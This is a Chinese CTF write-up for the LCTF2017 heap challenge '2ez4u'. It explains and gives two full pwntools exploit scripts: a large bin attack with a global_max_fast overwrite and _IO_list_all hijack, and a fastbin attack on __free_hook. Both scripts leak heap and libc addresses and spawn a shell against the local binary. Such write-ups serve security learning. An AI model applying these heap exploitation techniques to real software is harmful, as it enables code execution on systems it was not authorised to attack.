依旧是不定时更新,东拼西凑,到处查看其他师傅的WP,一知半解的写下了此页,然后就是准备写一下不同的方法
2ez4u-LCTF2017
Download
Global_Max_Fast
程序由于只能泄漏chunk->bk_nextsize域往后的内容,故利用Large Bin Attack
- Leak the heap_base:通过free掉两个同一IDX的large chunk则可打印出堆地址
- Leak the libc_base:首先布置一个fake_large_chunk,然后通过unlink申请该chunk,由于该large chunk 可以包含一个small chunk,在申请fake_chunk之前,将两个不相邻而大小相同的small chunk扔进unsorted bins,申请fake_chunk时就会进入small bin,然后申请出small bin中的尾块,即可在fake_chunk包含的那个块中写上libc的某地址,进而取得libc_base
- Global Max Fast:修复包含的small chunk的size域,申请出来然后放进unsorted bins中,通过fake_chunk修改该块的内容,利用unsorted bin attack在global max fast写上一个很大的值,然后再次修改该块的size域,满足free掉的位置处于&_IO_list_all上,并将其内容覆盖为fake_IO_FILE,释放掉会覆盖IO_list_all指针实现劫持,然后由于unsorted bins 损坏,再次申请即可crash 并getshell
注意链可能会修复等情况,以及small chunk申请会检测前一个块的fd域
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def new(size,content,sign=0): |
4 | p.sendlineafter('your choice:','1') |
5 | p.sendlineafter('color?(0:red, 1:green):','0') |
6 | p.sendlineafter('value?(0-999):','0') |
7 | p.sendlineafter('num?(0-16):','0') |
8 | p.sendlineafter('description length?(1-1024):',str(size)) |
9 | if sign == 1: |
10 | return |
11 | p.sendafter('description of the apple:',content) |
12 | def free(index): |
13 | p.sendlineafter('your choice:','2') |
14 | p.sendlineafter('which?(0-15):',str(index)) |
15 | def edit(index,content): |
16 | p.sendlineafter('your choice:','3') |
17 | p.sendlineafter('which?(0-15):',str(index)) |
18 | p.sendlineafter('color?(0:red, 1:green):','2') |
19 | p.sendlineafter('value?(0-999):','1000') |
20 | p.sendlineafter('num?(0-16):','17') |
21 | p.sendafter('description of the apple:',content) |
22 | def show(index): |
23 | p.sendlineafter('your choice:','4') |
24 | p.sendlineafter('which?(0-15):',str(index)) |
25 | p = process('./main') |
26 | libc = ELF('./libc-2.24.so',checksec=False) |
27 | new(0x3F0,'FMYY\n') |
28 | new(0xD8 ,'FMYY\n') |
29 | new(0x3F0,'FMYY\n') |
30 | new(0xD8 ,'FMYY\n') |
31 | free(2) |
32 | free(0) |
33 | new(0x400,'FMYY\n') |
34 | show(2) |
35 | p.recvuntil('description:') |
36 | heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x510 |
37 | log.info('HEAP:\t' + hex(heap_base)) |
38 | #clear all chunks |
39 | free(0) |
40 | free(3) |
41 | free(1) |
42 | free(0) #here I just want to free all chunks so that I can layout the new structure once again |
43 | #------------------- |
44 | unlink = heap_base + 0x28 |
45 | P = heap_base + 0xB60 |
46 | |
47 | new(0x10,p64(P) + '\n') |
48 | new(0xD8,'FMYY\n') |
49 | new(0x3F0,'FMYY\n') |
50 | new(0xD8,'FMYY\n') |
51 | new(0x3E0,'FMYY\n') |
52 | new(0xD8,'FMYY\n') |
53 | new(0xD8,p64(0x411) + p64(unlink -0x18) + p64(unlink -0x10) + p64(0)*2 + '\n') |
54 | new(0x1D8,'FMYY\n') |
55 | new(0x98 ,'FMYY\n') |
56 | new(0x1D8,p64(0)*9 + p64(0x410) + p64(0x20) + p64(0)*2 + p64(0) + p64(0x21) + '\n') |
57 | new(0x400,'FMYY\n') |
58 | new(0x400,'FMYY\n') |
59 | new(0x400,'FMYY\n') |
60 | new(0x2A0,'FMYY\n') |
61 | new(0x128,p64(0) + p64(0x1410) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21) + '\n') |
62 | free(0) |
63 | free(2) |
64 | free(4) |
65 | new(0x400,'FMYY\n') |
66 | edit(4,p64(P) + '\n') |
67 | free(9) |
68 | free(7) |
69 | new(0x3F0,'U'*24*8 + p32(0xDEADBEEF)*2 + '\n') #So far,we have get the fake_chunk ,and the index is 2 |
70 | new(0x1D8,'FMYY\n') |
71 | edit(4,p64(heap_base + 0x130) + '\n') #fix the large bins |
72 | show(2) |
73 | p.recvuntil('\xEF\xBE\xAD\xDE'*2) |
74 | libc_base=u64(p.recv(6).ljust(8,'\x00')) -584 - 0x10 -libc.sym['__malloc_hook'] |
75 | libc.address = libc_base |
76 | IO_list_all = libc.sym['_IO_list_all'] |
77 | system = libc.sym['system'] |
78 | binsh = libc.search('/bin/sh').next() |
79 | IO_str_jumps =libc_base + 0x3BE4C0 |
80 | Global_max_fast = libc_base + 0x3C37D0 |
81 | log.info('LIBC:\t' + hex(libc_base)) |
82 | edit(2,'\x00'*24*8 + p64(0X201) + p64(584 + 0x10 + libc.sym['__malloc_hook'])*2+ '\n') |
83 | new(0x1D8,'FMYY\n') #7 |
84 | free(7) |
85 | edit(2,'\x00'*24*8 + p64(0x201) + p64(libc.sym['__malloc_hook'] + 0x10 + 88) + p64(Global_max_fast -0x10) + '\n') |
86 | new(0x1D8,'FMYY\n') |
87 | fake_IO_FILE = p64(0)*4 |
88 | fake_IO_FILE += p64(0) + p64(1) |
89 | fake_IO_FILE += p64(0) + p64(binsh) |
90 | fake_IO_FILE =fake_IO_FILE.ljust(0xD8,'\x00') |
91 | fake_IO_FILE += p64(IO_str_jumps - 8) |
92 | fake_IO_FILE += p64(0) + p64(system) |
93 | edit(2,'\x00'*24*8 + p64(0x1411) + fake_IO_FILE[0x10:] + '\n') |
94 | free(7) |
95 | new(0x300,'FMYY\n',sign=1) |
96 | #-------------- |
97 | |
98 | p.interactive() |
99 | |
100 | ''' |
101 | 00000000 apple struct; (sizeof=0x20) |
102 | 00000000 color_choice dd |
103 | 00000004 num dd |
104 | 00000008 value dq |
105 | 00000010 index dd |
106 | 00000014 pad dd |
107 | 00000018 description dq |
108 | 00000020 apple ends |
109 | #---------------- |
110 | 00000000 apple_manage struct; (sizeof=0x10) |
111 | 00000000 inuse dd |
112 | 00000004 size dd |
113 | 00000008 apple_ptr dq ; offset |
114 | 00000010 apple_manage ends |
115 | ''' |
Modify TOP Chunk Ptr
此方法前半部分和上一个EXP类似,然后这里就是利用的fastbin attack
- 同样的方法泄漏heap_base 和libc_base
- 由于可以通过fake_chunk溢出修改包含的多个fastbin chunk,且在fastbins中的块被申请出去,main_arena相应的位置将更新信息,如果修改一个块的fd信息为target,当改块被申请时,main_arena相应位置即可变为target,因此这里利用该方法实现fastbin attack从而修改main_arena+88的地址处的指针为&__free_hook -0XB58
- 注意块的数量限制以及large bin的修复,多次申请即可到达free_hook上方,令free_hook为system,然后fake_chunk向下溢出修改一个块的fd域为’/bin/sh’并释放即可getshell
其他应该还可以利用unsorted bin attack 在free_hook或者malloc_hook上面写个很大的值,然后利用0x7F错位从而申请到上方的块,没有尝试,理论可以
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def new(size,content,sign=0): |
4 | p.sendlineafter('your choice:','1') |
5 | p.sendlineafter('color?(0:red, 1:green):','0') |
6 | p.sendlineafter('value?(0-999):','0') |
7 | p.sendlineafter('num?(0-16):','0') |
8 | p.sendlineafter('description length?(1-1024):',str(size)) |
9 | if sign == 1: |
10 | return |
11 | p.sendafter('description of the apple:',content) |
12 | def free(index): |
13 | p.sendlineafter('your choice:','2') |
14 | p.sendlineafter('which?(0-15):',str(index)) |
15 | def edit(index,content): |
16 | p.sendlineafter('your choice:','3') |
17 | p.sendlineafter('which?(0-15):',str(index)) |
18 | p.sendlineafter('color?(0:red, 1:green):','2') |
19 | p.sendlineafter('value?(0-999):','1000') |
20 | p.sendlineafter('num?(0-16):','17') |
21 | p.sendafter('description of the apple:',content) |
22 | def show(index): |
23 | p.sendlineafter('your choice:','4') |
24 | p.sendlineafter('which?(0-15):',str(index)) |
25 | p = process('./main') |
26 | libc = ELF('./libc-2.24.so',checksec=False) |
27 | new(0x3F0,'FMYY\n') |
28 | new(0xD8 ,'FMYY\n') |
29 | new(0x3F0,'FMYY\n') |
30 | new(0xD8 ,'FMYY\n') |
31 | free(2) |
32 | free(0) |
33 | new(0x400,'FMYY\n') |
34 | show(2) |
35 | p.recvuntil('description:') |
36 | heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x510 |
37 | log.info('HEAP:\t' + hex(heap_base)) |
38 | #clear all chunks |
39 | free(0) |
40 | free(3) |
41 | free(1) |
42 | free(0) #here I just want to free all chunks so that I can layout the new structure once again |
43 | #------------------- |
44 | unlink = heap_base + 0x28 |
45 | P = heap_base + 0xB60 |
46 | |
47 | new(0x10,p64(P) + '\n') |
48 | new(0xD8,'FMYY\n') |
49 | new(0x3F0,'FMYY\n') |
50 | new(0xD8,'FMYY\n') |
51 | new(0x3E0,'FMYY\n') |
52 | new(0xD8,'FMYY\n') |
53 | new(0xD8,p64(0x411) + p64(unlink -0x18) + p64(unlink -0x10) + p64(0)*2 + '\n') |
54 | new(0x118,'FMYY\n') |
55 | new(0x60 ,'FMYY\n') #8 |
56 | new(0x50 ,'FMYY\n') #9 |
57 | new(0x70 ,'FMYY\n') #10 |
58 | new(0x118,p64(0)*9 + p64(0x410) + p64(0x20) + p64(0)*2 + p64(0) + p64(0x21) + '\n') |
59 | new(0x60,'FMYY\n') |
60 | free(0) |
61 | free(2) |
62 | free(4) |
63 | new(0x400,'FMYY\n') |
64 | edit(4,p64(P) + '\n') |
65 | free(11) |
66 | free(7) |
67 | new(0x3F0,'U'*24*8 + p32(0xDEADBEEF)*2 + '\n') #So far,we have get the fake_chunk ,and the index is 2 |
68 | edit(4,p64(heap_base + 0x130) + '\n') #fix the large bins |
69 | new(0x118,'FMYY\n') |
70 | show(2) |
71 | p.recvuntil('\xEF\xBE\xAD\xDE'*2) |
72 | libc_base=u64(p.recv(6).ljust(8,'\x00')) -392 - 0x10 -libc.sym['__malloc_hook'] |
73 | log.info('LIBC:\t' + hex(libc_base)) |
74 | libc.address = libc_base |
75 | edit(2,'\x00'*24*8 + p64(0x141) + p64(392 + 0x10 + libc.sym['__malloc_hook'])*2+ '\n') |
76 | free(8) |
77 | free(9) |
78 | fake_fastbin = libc.sym['__malloc_hook'] + 0x10 + 0x30 |
79 | payload = '\x00'*24*8 + p64(0x141) + p64(392 + 0x10 + libc.sym['__malloc_hook'])*2 |
80 | payload += '\x00'*0x120 |
81 | payload += p64(0) + p64(0x81) + p64(0x71) + p64(0) |
82 | payload += '\x00'*0x60 |
83 | payload += p64(0) + p64(0x71) + p64(fake_fastbin) + '\n' |
84 | edit(2,payload) |
85 | new(0x60,'FMYY\n') |
86 | new(0x50,'FMYY\n') |
87 | new(0x50,p64(libc.sym['__free_hook'] -0xB58) + '\n') |
88 | free(7) |
89 | free(8) |
90 | new(0x300,'FMYY\n') |
91 | new(0x300,'FMYY\n') |
92 | new(0x300,'FMYY\n') |
93 | new(0x300,'FMYY\n') |
94 | new(0x300,'FMYY\n') |
95 | new(0x320,'\x00'*0x1D0 + p64(libc.sym['system']) + '\n') |
96 | payload = '\x00'*24*8 + p64(0x141) |
97 | payload += p64(392 + 0x10 + libc.sym['__malloc_hook'])*2+ '\x00'*0x120 |
98 | payload += p64(0) + p64(0x81) + '\x00'*0x70 |
99 | payload += p64(0) + p64(0x71) + '\x00'*0x60 |
100 | payload += p64(0) + p64(0x91) + '/bin/sh\n' |
101 | edit(2,payload) |
102 | free(10) |
103 | p.interactive() |
Link
参考文章
ptmalloc利用之largebin attack
Large bin attack–LCTF2017-2ez4u–writeup